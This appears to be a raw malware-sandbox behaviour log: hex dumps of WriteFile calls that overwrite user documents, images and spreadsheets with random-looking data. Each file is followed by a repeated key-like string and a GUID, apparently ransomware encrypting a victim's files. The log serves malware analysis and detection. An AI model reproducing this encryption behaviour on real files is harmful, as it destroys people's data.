1026 256 1c fd fd fd 49 fd 25 fd fd 
1c 27 30 10 fd fd 4f fd 7b 
76 46 fd fd 24 6f fd fd 4c 
08 fd fd 20 16 27 28 fd 6e 
0f fd 23 4c 6e fd 7a fd 6d 
38 39 fd 16 5e fd 23 5e 
36 45 fd 77 22 4c fd 74 fd 
6a 3c fd 65 fd fd 71 58 59 
7f 32 74 03 fd fd 76 fd fd 
fd 47 04 56 fd a5 26 fd 41 
38 34 fd fd fd fd 24 56 fd 
2d fd 73 2d fd 25 29 0a fd 
47 04 fd fd 49 47 fd fd fd 
fd fd fd fd 2f 18 fd fd fd fd 
2f 1b 5d 63 fd 64 fd 00 66 
35 fd 79 17 36 fd fd 4c fd 
6a 00 fd 0e 45 fd 08 1a fd 
fd fd 25 3b 62 fd 2c fd fd 
fd fd 69 6d fd fd fd fd 12 
22 fd fd 47 fd 65 0a fd 1f 
fd 36 44 fd 5f 7e 45 fd fd 
fd 21 fd fd fd 7d fd 1b 19 
69 fd fd fd 06 fd 28 fd 59 
fd 7a 52 fd fd fd fd fd fd 
61 fd 2f fd 7d fd 4d 59 66 
fd 6e 12 13 70 fd 72 1d fd 
fd 3f fd 48 0a 2b fd 4c fd 
47 32 7e 

I%'0O{vF$oL 
'n#Lnzm89^#^6Ew"Lt
j<eqXY2tvGV&A84$V-s-
%)GIG//]cf
5y6LjE%;b,im"Ge6D_~E!i
(YzR/}MYfnpr?H+LG2~

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\DVWHKM
NFNN\NWTVCDUMOB.pdf

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}
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C:\Users\user\Documents\DVWHKM
NFNN\WUTJSCBCFX.jpg

5 1021 fd 10 fd 76 30 fd fd 1c fd 
6a fd 50 3b fd 31 fd 42 60 
41 5f 06 2d 02 32 65 14 
fd 71 fd fd fd 23 22 28 4b 
fd fd 29 3a fd 04 fd 45 5a 
4b 50 4e fd fd fd 17 fd 4e 
fd 70 05 fd fd fd fd 2d 0b 
fd fd 72 4b 1b 01 fd 1d fd 
fd 09 fd 33 48 fd 76 25 74 
4a 58 59 03 fd 72 fd fd 21 
fd fd 4e 23 36 fd fd fd fd 
64 97 fd 75 fd 66 24 0f 54 
fd fd 6d 05 34 fd 00 7d 2f 
fd 11 7a 13 fd fd 7c 43 41 
fd fd fd 96 fd 7c fd 63 70 
31 3d 71 73 fd 1d fd 2b fd 
4c 52 0d 6e fd 40 fd fd 09 
fd 66 fd fd 60 3d 29 4c fd 
fd 16 53 fd 74 fd 56 59 7c 
fd 67 3f 1c fd 4b fd 2e 5c 
4e fd fd fd 57 2e 19 fd 62 
11 17 fd fd 4b fd 92 24 2e 
fd 0f 26 13 fd 1d fd fd fd 
3e 21 41 1f fd fd fd 09 fd 
6c 10 fd 61 fd 25 fd fd fd 
fd 44 fd fd 04 fd 18 fd 68 
fd 0b fd fd 34 fd 38 4b fd 
42 fd 

v0jP;1B`A_-2eq#"
(K):EZKPNNp-rK
3Hv%tJXYr!N#6duf$Tm4
}/z|CA|cp1
=qs+LRnf=)LStVY|g?
K.\NW.bK$.&>
!Ala%Dh48K

success or wait 1 411859 WriteFile

C:\Users\user\Documents\DVWHKM
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46 4c 02 fd 64 fd 24 0d fd 
18 77 3b 4a 08 11 fd 1e 
50 11 52 fd 6f 39 4c 4f 33 
fd fd 22 23 fd 1c 67 37 0a 
fd 42 fd 52 6e 6c 39 5b fd 
2b fd fd fd fd fd 5d 1b fd 
6c fd fd fd 66 fd 00 fd fd 
7b fd fd 0b 26 52 fd fd 7c 
7d fd 74 52 fd 34 f7 41 fd 
6e fd 50 fd b7 5d fd fd fd 
50 6c fd fd 73 fd 0c fd fd 
fd fd 12 5a 05 28 76 19 
12 fd 5b fd 5c 4c fd fd 2c 
6d 11 fd 02 fd fd 51 46 bd 
fd 0d fd 5a fd fd 61 fd 62 
13 fd 77 fd fd fd 7c 0a 72 
67 60 53 fd fd 78 54 fd 24 
73 fd 09 65 36 fd fd fd fd 
1c fd fd fd 2c 74 1f 78 fd 
fd fd fd fd 59 7f fd fd fd fd 
b3 d6 11 fd fd 0c 72 02 fd 
34 34 09 06 1c fd 4e fd fd 
fd 43 7e fd fd 6f 09 7d 02 
fd fd 70 0e 06 7a 4c fd 41 
fd fd fd fd 9e fd fd 07 68 
fd 2a 53 2b 05 fd fd fd 58 
fd 32 fd fd 
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C:\Users\user\Documents\DVWHKM
NFNN\YPSIACHYXW.png

5 1021 fd 2a 54 58 40 fd fd 57 fd 
28 fd 64 fd fd fd fd fd 07 
79 fd fd 76 fd 38 fd fd 21 
fd fd 15 fd fd fd 28 fd fd fd 
fd 07 fd 62 4d fd e1 16 fd 
fd 6f 7f fd 5f 47 2c 09 fd 
fd fd 25 09 48 89 65 fd 2c 
06 fd 4f 6d fd fd 4a 6a fd 
fd fd fd 5d 00 7c 7c 7c 62 
2a fd 2a fd 03 fd fd fd fd 
00 fd 37 4f 65 fd 57 4e 17 
fd fd 2e 36 fd fd 60 2e fd 
fd 56 6f 2c 05 fd fd fd 41 
72 fd fd 06 56 fd fd 5b 22 
fd fd 0a 6b fd fd fd fd 5c fd 
52 3e 52 fd 63 14 24 3e 
17 fd fd 26 3f fd 18 51 64 
09 fd 45 fd 7e fd 45 25 6f 
32 fd fd fd 43 fd 28 fd 7c 
3e 75 2a 24 fd 70 fd 5b 
1e fd fd fd fd fd fd 21 fd fd 
00 5e fd 25 18 fd 2f 67 7a 
7e 1e 22 43 fd 24 fd 7d 
3c fd 40 0e 14 fd fd 42 fd 
0e fd 0a fd 61 23 fd fd fd 
5d 46 fd 81 26 22 09 4b 
fd fd fd fd 5c fd fd fd 47 fd 
7d 7f 71 fd 
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0e 46 2f fd 75 0f 14 fd 6b 
fd 74 46 fd 70 03 fd fd fd 
fd 77 fd fd fd 4e 00 5a 1c 
fd 0e fd fd 38 fd fd 5d 2c 
4b 61 fd fd 1a 42 fd 3a fd 
fd f4 7e 04 fd 65 72 2a 1e 
fd 78 fd fd 74 45 fd fd 6e 
5d fd fd 3b fd fd fd 3f fd 48 
fd fd 13 fd 1f 41 fd fd fd 
67 2d 33 72 39 fd 18 fd fd 
36 fd fd 5a 6f 33 2f fd 17 
57 fd fd 2b 56 fd fd 2d 78 
fd 4f 4b 7f 01 1f 48 fd 22 
72 18 fd fd 66 fd fd d5 fd 
20 41 7e 52 40 3b 37 fd 
fd 6e 04 43 1c fd 36 72 
07 50 2b 2f 20 22 43 fd ff 
fd fd 15 fd 79 fd fd 70 1b 
53 0b fd 28 49 fd fd 27 fd 
4f fd 32 fd 15 15 fd fd fd 
40 23 fd fd 37 25 6d fd 21 
fd fd 2d 16 fd fd 5e fd 16 
19 fd fd 59 4a 25 fd fd 64 
fd 2e fd fd 30 39 fd fd 0a 
0a 64 39 fd fd 18 fd 6f fd 
48 fd 
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C:\Users\user\Documents\NWTVCD
UMOB\CURQNKVOIX.mp3

5 1021 4c fd 5b fd 6f fd fd fd fd 64 
08 77 40 fd fd 24 5e fd fd 
3f fd fd 3b fd fd fd 6b fd fd 
fd fd 6a 39 62 19 fd 43 fd 
12 2e a7 fd fd 0e 29 02 
60 fd 2b 5c 6d 51 6b 32 
fd fd 24 7f 1d 14 2c 38 fd 
fd 63 25 74 69 fd fd fd 1d 
fd 60 fd fd 2b fd fd 21 fd 
fd 79 4e fd 23 76 29 fd 5f 
fd fd fd 36 fd 14 06 fd fd 
1a 59 2f fd fd f0 71 1a 46 
55 14 6a 48 fd 00 5a 45 
fd fd 75 fd 62 4d fd 1c fd 
fd 2d fd 79 0a 22 fd fd 71 
33 09 fd 45 fd 20 fd fd fd 
42 17 fd 64 fd fd 8c 78 12 
23 00 fd 7e fd 72 fd 42 13 
02 3f 36 86 fd fd fd 6d fd 
5f 63 fd fd 1e 16 0b f5 fd 
fd 63 fd fd fd 07 75 fd 1d 
fd fd fd fd fd fd fd 18 30 fd 
fd fd fd 4b 77 05 67 09 fd 
6e fd 26 fd 5d fd fd fd 4b 
fd fd 05 fd 53 fd fd fd 12 
36 fd 73 fd fd 56 fd 59 7a 
54 fd fd 2b 
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78 fd fd 6a fd fd 78 7e fd 
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30 5b 25 fd fd fd 13 fd 39 
20 7b fd 76 3f 41 fd fd fd 
0c fd 3c 12 fd fd 4a 79 fd 
fd fd 31 2f 6f fd 70 fd 1c 
20 5d 28 fd fd 5e 0d 57 
09 fd 79 fd fd 2f 7a fd 3f 
30 23 73 4c 0d 78 fd fd fd 
4e fd 42 69 fd 5e fd fd 33 
44 fd 38 fd 57 fd fd fd 79 
43 ae 1e fd fd 2a 34 42 
37 0d b2 32 fd fd 41 34 
3b fd fd fd fd 5e fd 26 fd fd 
12 00 fd fd 6f 46 4f fd 6c 
fd fd 75 fd 33 fd 33 fd 10 
fd fd 0b fd 58 3c fd 4b 51 
5a 35 65 09 fd 6a 79 fd fd 
09 fd fd 34 50 3a fd fd 1c 
42 fd 70 2a 72 18 fd fd 45 
1b fd fd fd 
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C:\Users\user\Documents\NWTVCD
UMOB\JSDNGYCOWY.pdf

5 1021 fd 17 2d 64 64 fd 40 fd fd 
5c fd fd 37 18 31 30 5f fd 
17 fd 08 fd 5b 50 77 29 
3b d6 2c fd fd fd fd fd fd fd 
74 fd 29 fd 7c fd 6a fd fd 
fd fd fd fd 42 51 4f 1d b5 
fd fd 6e fd 5a 3e fd fd 57 
2d fd fd 1f fd 6f 59 fd 6c fd 
09 2f fd fd fd 35 08 79 fd 
71 03 fd fd 22 09 fd fd 32 
2c fd fd fd 6d 0e 31 50 70 
3f 7a fd 6a fd 1c 03 12 fd 
14 fd 18 17 fd 65 5f 4d 59 
61 fd fd ca fd fd fd 63 6d 
fd fd 06 57 33 fd 59 18 fd 
67 73 fd fd 3e 39 70 fd 50 
fd fd fd fd 48 2a 23 10 fd 
44 fd 42 fd 6c fd fd 45 fd 
fd fd 6b fd fd fd fd 56 6b 
fd fd 71 fd 18 fd 35 be fd 
72 fd 4e 40 5e 77 54 77 
27 fd 24 40 fd fd 1f 6c fd 
fd 76 10 fd 7b 5a 09 fd fd 
fd 0e 05 fd 66 34 3b 6f fd 
fd 1f fd 55 90 6d 23 fd 7d 
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19 fd 3a fd 10 fd 28 fd 17 
4f fd fd fd fd 66 68 fd fd fd 
fd 22 35 4f 10 fd 2e fd 2a 
4f 7c 63 1c 2e 0f 38 05 fd 
fd 0e fd fd fd 6f fd 07 fd fd 
fd fd fd fd 56 21 fd fd fd 
72 2a 2f 42 11 fd fd 5c fd 
19 7e fd fd 3b fd 45 22 fd 
fd 7f fd fd 1e fd fd 62 fd 4f 
fd fd 3a fd fd fd fd fd 39 fd 
48 1a 67 44 fd fd 7d fd fd 
fd 26 fd fd 6f fd fd f0 fd 16 
27 1f fd fd 3d fd 55 52 54 
12 fd fd 30 fd 6c 28 fd 7d 
fd fd fd 3d 6a fd fd fd 4c 
e7 fd 57 7e 
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C:\Users\user\Documents\NWTVCD
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5 1021 33 fd 05 08 0f 2e fd fd 60 
fd 7c fd fd fd fd fd 09 fd fd 
5c 62 2d 7f fd fd fd fd 4b 
fd 58 31 28 28 11 23 37 
78 fd 36 fd 5f fd fd 18 fd 
fd fd fd 23 fd 07 1a fd 0c 
61 53 fd 1e 41 fd 45 2f 7f 
fd 75 02 3b 1c fd fd 0a 21 
33 fd 38 fd 51 fd 34 13 fd 
fd 1d 20 0b fd fd 28 17 16 
fd 6b 13 60 50 5e fd fd 25 
fd 24 fd 1e 30 3e fd 12 6c 
18 75 14 16 fd 75 fd fd 38 
49 fd fd 03 14 0b fd fd 1e 
3e 3b 44 57 fd 7c fd 31 fd 
7c 63 fd fd fd 2f fd fd 21 
4e 54 31 44 fd 6f 32 49 
10 fd fd 18 1b fd fd 74 fd 
35 65 01 6c fd 62 fd fd fd 
5d 28 fd 4c 3e fd 3f 3f fd 
0a 69 4d 2e 8c fd 3d fd 
53 2d fd 6e 71 51 69 fd 
36 6e 0f 5f fd fd fd fd 5f 
00 7d fd 36 fd 39 27 67 fd 
5a fd 64 1a 71 fd 1f 6a fd 
fd 3c fd fd fd fd fd fd fd 12 
fd 38 42 fd fd fd 5b 62 0c 
fd 74 fd fd 2b 57 33 
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fd 1e fd 43 70 23 fd fd 6c 
0f 0e fd 4d fd 65 fd 54 fd 
4a 55 fd 2c 64 fd 04 fd 31 
43 fd 46 12 fd fd 31 18 2c 
64 fd 03 fd fd 52 09 01 fd 
1e 6e 66 fd 2c 12 75 6b 
1c 69 fd 1f fd fd 07 fd fd 
fd fd 1b fd fd fd fd fd c3 fd 
fd fd 49 1d 71 fd fd fd fd 
4b fd 77 0b fd fd 02 fd 63 
fd 76 11 fd fd 3f 08 00 fd 
10 76 63 fd 51 fd 2a fd 18 
04 17 fd 68 fd fd 0f fd 39 
fd fd fd 03 fd fd fd fd 16 fd 
5b fd fd 64 fd 5c fd 0b 32 
fd fd 49 58 04 6e fd fd fd 
62 36 fd 22 fd fd 1a fd 14 
fd 19 fd fd fd 3f fd 7e fd 4c 
fd fd 3a fd fd 71 fd 4b 22 
4a fd 5a 5f fd 53 75 49 76 
74 19 7a 52 fd 6f 09 fd 08 
fd fd 24 61 3a 11 56 1b fd 
fd fd 
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C:\Users\user\Documents\NWTVCD
UMOB\NWTVCDUMOB.docx

5 1021 fd fd fd 4a 6b 2d fd 12 6e 
fd fd 07 fd fd fd fd 01 51 
28 62 1f fd fd 4c 12 fd 46 
79 08 2f 32 fd fd fd fd fd fd 
26 12 09 3a fd 08 fd 6b fd 
f4 fd 08 44 fd 5d 26 6d fd 
fd 5c fd 7d fd 34 6b fd 4b 
39 fd fd fd 36 4a fd fd fd 
0d 40 fd 2b 11 fd fd fd 1e 
fd 5d fd 4a 82 fd 19 03 6d 
ab 7d 78 fd fd 70 fd 10 fd 
0d fd 73 fd 33 fd fd 75 15 
fd 64 2f fd 8f fd 22 fd 7e 
fd fd 12 42 6b fd fd fd fd 
fd 24 fd 69 2a fd 0b fd 66 
fd 0f fd 6d 49 fd 3e fd 27 
5f 40 75 5d fd 6a fd fd 0b 
fd fd 2f 76 4b c0 fd 7d fd 
fd 32 fd 3d fd 30 fd fd 52 
fd fd fd fd fd 73 fd 5d 57 
4b fd fd 27 fd 13 fd fd 64 
7e fd 74 70 fd d1 fd 4a 37 
fd 7b 0f 15 16 16 fd 66 fd 
fd fd 4b f9 fd fd 08 fd 69 
64 66 fd 48 1d 55 1b 78 
fd fd 14 10 fd fd 35 fd 
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6d 65 5f 0c fd 09 fd fd fd 
fd 1d fd 0a fd 7a 7a 67 fd 
71 79 77 27 4c fd 3b 6c 
fd 45 fd 24 fd 4e 77 19 4b 
65 fd 48 fd 2e fd fd 5d fd 
fd fd fd 42 fd fd 41 fd 25 
44 64 72 19 fd fd fd 27 21 
2d 16 fd 30 bb 18 57 4d 
5e 3b 67 fd 70 fd fd 3c 18 
5c fd 2c 22 fd 00 63 24 fd 
57 1b 49 fd fd 67 0b 21 fd 
fd 28 fd 78 fd fd 49 27 fd 
fd fd 1c fd fd f5 fd 79 fd 31 
43 fd fd 67 0b fd fd fd 2a 
47 51 72 0d 30 10 fd fd 
3b fd 58 fd 2b fd 66 7f fd 
44 0c fd fd 59 28 06 3a 
6e 1c fd 5f 3e fd fd fd b7 
fd 1c fd 49 27 08 fd fd 1a 
14 fd fd 06 fd fd 7c 7c fd 
fd fd 5d fd fd 1a fd fd fd 
2e 39 72 64 fd 72 fd 13 
11 00 fd fd 74 4d 55 00 
18 fd 32 53 19 32 74 15 
fd 0a fd fd 33 
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C:\Users\user\Documents\NWTVCD
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5 1021 62 62 3b 16 7d 38 fd 4e 
7b fd 6d 6f 50 32 44 fd 4d 
fd fd 47 fd fd 5a fd 63 49 
fd fd 0a fd 62 fd 01 fd 32 
01 74 32 fd 44 15 fd 35 fd 
0b fd fd 77 fd fd 32 fd 17 
fd 71 fd 29 64 39 fd 66 68 
0f 41 fd fd fd fd 09 37 fd 
44 fd 63 35 fd 77 6c 75 
79 fd fd 3f fd fd fd fd fd 07 
fd 3c 02 fd 79 fd 2a fd 69 
fd 7e 14 01 68 fd 19 fd 09 
2a fd 2f 34 fd fd 2f fd fd 5c 
01 fd fd fd fd 49 3a fd 09 
fd fd 12 14 4c 50 44 5e 
18 1b 21 fd fd 49 52 1f 19 
47 36 73 5c 5a fd 23 fd fd 
fd 1c 03 fd 02 13 fd 52 5b 
01 45 7c fd 68 fd fd fd 49 
47 fd 65 fd 4a fd fd 18 03 
fd 3d 0c 51 fd fd fd d9 fd 
07 fd fd fd fd 11 fd 53 2b 
fd 4e 2d 2f b0 44 fd 42 fd 
fd 32 7c 40 fd fd 6c 49 22 
fd 5b 44 fd 12 5b 03 2e fd 
fd 0e fd fd 23 fd 55 20 fd 
fd 0e 36 3f 0e 44 77 c0 
23 fd 
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1d fd fd 78 78 fd fd 71 c0 
61 55 56 67 26 fd b3 fd 0f 
08 0e fd 71 50 32 fd 6c 4f 
fd 68 fd fd 0b fd fd fd f6 fd 
fd 77 71 fd fd 74 fd 19 02 
4b fd 31 fd 55 07 15 65 
15 61 fd fd 13 0d fd 38 61 
fd fd 0d fd fd 1c 6b 1f 08 
34 58 fd fd 48 42 fd fd fd 
4d 41 fd fd 10 66 25 fd 0f 
fd 4b fd 46 00 fd fd 1a 5b 
fd 04 36 fd fd 13 fd 72 0e 
7c 67 fd 29 fd fd 70 14 fd 
56 fd fd 64 61 65 fd 1c fd 
fd fd 0b fd fd fd 2e 16 43 
fd 2d 61 fd 66 0f 41 fd 33 
77 fd 1f 54 1e fd 1d 03 fd 
2a fd fd 36 fd 07 47 0e fd 
50 40 fd fd 56 79 fd fd 6a 
6b 6d 70 08 01 1b fd fd 
0c 04 4c fd 02 fd fd fd 7f 
7c 08 fd 11 fd 12 32 5e fd 
75 32 4d 76 fd 78 3c 17 
1e 66 fd 4f 4c fd fd fd 1e 
49 fd fd fd fd 65 fd fd 60 
fd 38 
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57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\NWTVCD
UMOB\RAYHIWGKDI.png

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx

5 1021 fd fd 0a fd 0b fd 23 7e 08 
fd 3c 0c 67 fd fd 4a 6f 0e 
fd fd fd 54 fd 8b 6a fd fd 
10 fd fd 56 7a fd fd 48 5c 
13 68 fd fd 36 fd 47 fd fd 
60 fd fd 2c 68 fd 65 fd 00 
fd 2c 40 1a 78 7b fd 6f 51 
2a 34 31 3f 77 4a fd fd 79 
fd 71 73 fd 4c fd 58 1a fd 
fd fd fd 73 fd 67 2c fd 32 
39 14 fd fd fd 6d fd 36 6a 
fd fd 99 3c fd 72 fd 23 fd 
fd 22 fd 7d fd 29 55 46 73 
32 77 27 56 fd fd fd 09 fd 
fd 61 0d 09 3b 27 fd 34 
30 6f fd 55 fd fd 6a 6d 75 
6f 35 73 36 0f fd 48 31 15 
fd 50 fd 73 1e fd 2a 09 11 
15 32 70 fd fd a7 23 fd fd 
54 fd fd fd 43 fd 17 fd 5e 
fd fd 34 00 36 2a 70 44 
0c fd fd fd fd 55 3f 11 fd 
16 4d fd 09 fd fd 7b fd fd 
fd 7a 19 fd 71 33 13 fd 62 
7a fd fd 14 fd fd ae fd fd 
4c fd fd fd 11 fd fd 26 fd 
31 03 fd fd fd fd 08 fd 

#~
<gJoTjVzH\hG`he,@x{o*
41?wJyq
sLXsg,29m6j<r#"})UFs2w
'Va;'40o
Ujmuo5s6H1Ps*2p#TC^4
6*pDU?M{zq3bzL&1

success or wait 1 411859 WriteFile

C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx

1026 256 36 19 15 fd fd 52 fd 54 06 
03 fd 76 67 7f fd fd 3f fd 
fd 56 fd 41 fd 20 fd fd fd 
fd 55 fd fd 7d 61 1f 3a 05 
fd 25 51 fd fd 5f 4b 36 36 
58 fd fd 0a fd fd 29 fd fd 
fd 38 fd 79 7f 0c fd 3c fd 
fd fd 44 fd 6f 77 2c fd 07 
7d 5c fd 41 fd 36 35 fd 77 
fd fd 1a fd 17 16 37 88 fd 
56 fd fd fd 49 fd 76 fd 05 
fd 7a 25 fd 5f fd 11 fd fd 
5e 76 05 fd 25 39 55 0e 
0d fd 40 fd 35 1a e4 fd fd 
fd 18 fd fd 04 3b fd a3 fd 
fd 6a 4b fd 2f 28 fd fd fd 
09 0e fd 48 fd 2c fd 10 10 
fd 55 fd 39 51 fd fd 64 fd 
fd fd 20 5f fd fd 6b fd 4d 
70 fd fd fd fd fd 49 73 63 
fd 11 40 37 6a 19 fd 2f fd 
0d 4b 42 0d 23 fd fd fd fd 
fd 63 fd fd fd fd 24 fd 05 
4e 1c 31 6c 36 fd 61 76 fd 
25 fd 56 25 fd 58 78 fd 0e 
3a 18 fd fd fd 57 fd 22 7f 
fd 24 fd fd 45 fd fd fd 56 
01 fd 1c 

6RTvgV 
U}a:%Q_K66X)8y<Dow,}\
A6
5w7VIvz%_^v%9U@5;jK/
(H,U9Qd_kM
pIsc@7j/KB#c$N1l6av%
V%Xx:W"$EV

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\NWTVCD
UMOB\YPSIACHYXW.xlsx

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf

5 1021 05 fd 17 0f 1c fd 70 fd fd 
fd fd fd 4d fd fd fd fd 20 
7a fd fd 1a 55 63 fd 70 fd 
fd 0f 7c 49 66 70 3f 30 0c 
fd 29 55 fd fd 6f 7c fd 48 
5c 1a fd 31 fd 72 fd fd fd 
fd 5c fd 75 4f 63 1f fd fd 
fd fd 07 fd fd 7f 5c fd 62 
5f 3a fd fd fd fd 30 1e fd 
fd 44 fd fd 12 fd 53 fd 67 
5d 15 63 fd fd 05 47 fd 7a 
18 fd bb fd fd fd fd 1a fd 
36 19 fd 0a fd fd fd 2a fd 
06 3b 1a 20 3c fd 26 38 
4a fd 5c fd fd 2e fd fd 5b 
49 fd 02 74 fd 7e 22 fd 76 
27 6b 6c fd fd fd 5a 79 fd 
1b 15 fd fd 6e 12 fd f0 3f 
fd 58 fd 09 fd fd 47 6b fd 
e1 fd fd fd fd 0d 43 3d fd 
46 4c fd 97 f4 fd 42 fd 13 
17 fd fd fd 44 fd 7f fd 31 
fd 65 21 30 fd 2e 22 76 
75 6d fd a2 56 fd 43 4c fd 
fd 35 fd 0a 3b 69 fd 4a 16 
fd fd 2f 32 4a fd 35 77 fd 
fd fd fd 51 73 fd fd 1c 2d 
fd 

pM zUcp|Ifp?
0)Uo|H\1r\uOc\b:0D
Sg]cGz6*; <&8J\.
[It~"v'klZyn?X
GkC=FLBD1e!0."vumVC
L5;iJ/2J5wQs-

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf

1026 256 fd 57 17 77 fd fd ff 0f 2a 
fd ad 67 fd fd 0b fd 12 31 
2a fd fd fd 52 12 fd fd 7c 
fd 67 5a fd 36 17 57 fd fd 
56 fd 0f 3a 32 6d 72 3b fd 
fd 32 fd 09 6d fd 66 fd fd 
7e 2f fd 08 fd fd fd 21 0a 
78 fd fd fd fd fd 60 52 29 
6c fd 25 79 76 55 28 2f 
18 fd 07 07 fd fd 01 21 1d 
75 67 31 10 fd fd 51 4a 
60 62 fd 5f 6e 75 fd 2e 3e 
fd 72 3b fd fd fd 18 fd 79 
7d 60 be 12 fd 2c fd 56 
45 fd fd fd fd 0c fd 64 19 
fd bd fd 01 47 45 fd fd 21 
67 fd 41 66 fd 24 0b 05 
27 10 40 fd 30 fd 37 fd 59 
fd 52 fd fd 5f fd 27 43 03 
45 fd 7b 04 16 2b 69 3c 
4b fd fd fd 44 fd 48 fd 5b 
0f fd fd 08 73 03 79 2b fd 
fd e9 39 fe fd fd 26 31 fd 
00 fd 0a fd fd 4b 13 2f fd 
fd fd 61 6b 61 20 63 fd 1e 
fd 52 fd 04 02 18 02 04 
68 fd 08 

Ww*1*R|gZWV:2mr;2mf~
/!x`R)l%yv
U(/!ug1QJ`bnu.>r;y}`,VEd
GE!gAf
'7YR_'C{+i<KDH[sy+9&1
K/aka cRh

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf

1282 40 4d 7a 43 4a 30 51 79 61 
6b 36 52 51 59 4b 69 77 
57 72 69 68 34 67 32 52 
47 4c 79 30 30 41 64 4e 
4a 59 37 62 7a 6e 41 38 

MzCJ0Qyak6RQYKiwWri
h4g2RGLy00A
dNJY7bznA8

success or wait 1 41164B WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\BPMLNOBVSB.pdf

1322 38 7b 33 36 41 36 39 38 42 
39 2d 44 36 37 43 2d 34 
45 30 37 2d 42 45 38 32 
2d 30 45 43 35 42 31 34 
42 34 44 46 35 7d 

{36A698B9-D67C-4E07-
BE82-0EC5B14B4DF5}

success or wait 1 41167E WriteFile
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C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg

5 1021 fd 1c 0f 4d fd 7a fd 74 36 
fd 1f 4c fd 5b fd fd 69 fd 
30 67 fd fd fd 48 fd 17 fd 
95 fd fd fd fd 2f fd 19 fd fd 
00 7a fd 79 fd fd 79 4b fd 
fd fd 3f 63 3d fd fd fd 47 
68 3f bf fd 57 fd 1e 18 fd 
17 29 54 53 5b 32 24 06 
52 6f 67 fd fd 50 fd 12 55 
78 0b 28 fd 0b 03 73 fd 
70 5f fd 0c 40 cc fd 35 7f 
fd fd 64 a7 60 fd 09 fd 6f 
4e 34 2c 77 fd 93 fd 13 
5d fd 2c 58 fd 25 fd 3d 4b 
56 7f 06 54 fd 1b fd fd fd 
57 60 19 37 11 47 71 47 
fd fd 4d fd fd 1d fd 2d fd 
0b 3f fd 3f 59 15 fd fd fd fd 
34 fd 08 67 58 fd 2c 30 
08 fd 59 fd 59 fd 22 62 fd 
fd 50 fd fd 78 18 fd fd 05 
fd 37 5a fd fd fd 0c 7f fd 
59 fd 55 4d fd de 61 fd 7a 
fd 54 25 17 fd fd 70 38 fd 
37 48 fd fd 56 fd fd 69 5e 
fd 0e fd 69 27 49 fd 38 fd 
fd 34 50 fd 29 fd 3a fd 

Mzt6L[i0gH/zyyK?
c=GhW)TS[2RogP
Ux(sp_@5d`oN4,],X%=K
VTW`7GqGM-??
Y4gX,0YY"bPx7ZYUMaz
T%p8HVi^i'I84P):

success or wait 1 411859 WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg

1026 256 0f 63 78 fd 2a 06 fd fd fd 
17 40 32 4f 70 fd 7d 07 fd 
31 fd fd 3d fd fd 5a fd 07 
58 5c 3b 2b fd 44 7e 58 
fd fd 07 fd fd 3e 20 4d c2 
fd 6b fd fd 45 fd 2a 05 fd 
77 6c 50 47 fd fd 25 17 fd 
18 fd fd 6a fd fd 53 6e 28 
0d 44 fd 7a 3b 60 fd 61 
2c fd fd fd 2b 17 18 fd fd 
34 1f fd fd 50 2c 10 5a fd 
22 03 18 fd 77 85 94 33 
0b 0b fd 7e fd 04 fd 59 fd 
fd 3c fd fd 12 03 fd 24 d9 
fd 34 5a fd 64 fd 54 7c fd 
08 28 76 77 2d fd 11 38 
fd be 13 54 7a fd 3e fd 29 
0b 42 2b 17 1b 4e 38 42 
fd fd 23 fd fd 01 fd fd 0a 
5c fd fd 7d fd 23 fd 3d fd 
14 fd fd 12 fd 66 fd 19 fd 
fd 51 fd fd 72 fd 19 fd fd 
15 51 fd 60 2f fd fd fd fd 
fd fd fd fd 5a fd 7d fd fd 
32 52 fd fd 30 fd 7d 3e 75 
78 fd 6b fd fd 6c fd e5 fd 
fd 4a fd ca 5d 35 35 fd 78 
16 fd 12 fd 

cx*@2Op}1=ZX\+D~X> 
MkE*wlPG%jS
n(Dz;`a,+4P,Z"w3~Y<$4
ZdT|(vw-8
Tz>)B+NB#\}#=fQrQ`/Z}2
R0}>uxkl]55x

success or wait 1 4115FA WriteFile

C:\Users\user\Documents\WUTJSC
BCFX\CURQNKVOIX.jpg

